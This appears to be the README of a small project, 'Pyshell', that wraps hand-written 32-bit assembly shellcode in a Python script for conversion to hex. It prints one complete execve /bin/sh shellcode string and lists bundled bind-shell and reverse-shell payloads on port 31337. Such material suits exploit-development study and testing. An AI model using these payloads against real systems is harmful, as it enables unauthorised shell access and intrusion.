Pyshell

Some ASM shellcodes, with a python wrapper for easy asm->hex conversion.

Usage

Simply launch the script with python3 and specify an assembler code:

entropy@undefined:~/Pyshell$ python3 pyshell.py asm/shell.32bit.nasm 
[+] Encoded:
 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80

You can specify the -b option to export your shellcode directly as an executable:

And you can specify the -v option for verbose output:

ASM Shellcodes

They are some handmade shellcodes already in the asm directory:

• shell.32bit.nasm (Standart shellcode that pops a shell)
• priv_shell.32bit.nasm (Basic shell with privilege restoration)
• bound_shell.32bit.nasm (Shell bound to a port. Default 31337)
• rev_shell.32bit.nasm (Reverse tcp shell. Default 127.1 port 31337)

Roadmap:

• Add shellcodes:
  • Read a file and print the content
  • 64 bits shellcodes
• Possibility to specify options in shellcode: File to read, Ip:Port, etc...
• Encoded shellcode with a stub